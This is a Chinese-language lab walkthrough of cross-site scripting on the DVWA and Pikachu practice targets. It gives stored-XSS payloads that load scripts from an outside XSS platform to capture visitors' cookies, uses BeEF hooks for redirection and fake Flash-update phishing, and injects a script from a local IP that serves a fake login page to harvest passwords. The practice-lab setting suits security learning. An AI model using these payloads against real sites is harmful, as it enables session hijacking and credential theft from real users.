xss靶场实战测试

这里用两个平台通过xss进行cookie的劫持和钓鱼演示

cookie劫持

这里用到的是dvwa和https://xssaq.com/平台

我们先来到dvwa的存储型xss，这里设置为low模式，然后在xssaq平台创建一个项目，然后使用<sCRiPt sRC=//xs.pe/f4y></sCrIpT>命令，输入到dvwa的存储型xss中

图片

当有其他用户访问到该存储型xss页面时，xssaq平台就会记录下该用户的cookie等信息

flash钓鱼演示

需要用到kali中的Beef-xss工具，下载命令：apt install beef-xss，使用beef-xss命令打开，用户名beef，密码：自己下载时配置的，使用下面的命令执行

图片

将ip换成自己kali的ip地址，这里前端有长度限制，直接修改：

图片

当有其他用户访问（我们自己访问也算），beef上就有该记录了

图片

地址跳转

我们找到redirect命令，在右边填写跳转地址的相关信息

图片

回到dvwa，就会发现跳转到ww.baidu.com

图片

flash钓鱼

找到beef上的flash命令，在网上找一张flash图片填入其地址，payload url一般是设置为下载木马的文件，这里就设置成baidu了

pikachu钓鱼

在pikachu靶场上有一个钓鱼文件：/pikachu/pkxss/xfish/fish.php，我们这个这个来模拟钓鱼测试，下面是模拟登录页面：

图片

这里需要先安装一下/pkxss/pkxss_install.php（需要提前配置好数据库连接）

图片

图片

我们在dvwa的存储型xss中插入

<script src="xxx"></script>
//xxx是pikachhu演示的钓鱼地址，localhost要换成ip地址
//比如我的是：<script src="http://192.168.130.1:92/pkxss/xfish/fish.php"></script>
<script src="http://192.168.130.1:92/pkxss/xfish/fish.php"></script>

输入的账号密码，就会被记录到pikachu的后台

图片

但是钓鱼结果里面没显示登录的信息，有点怪怪的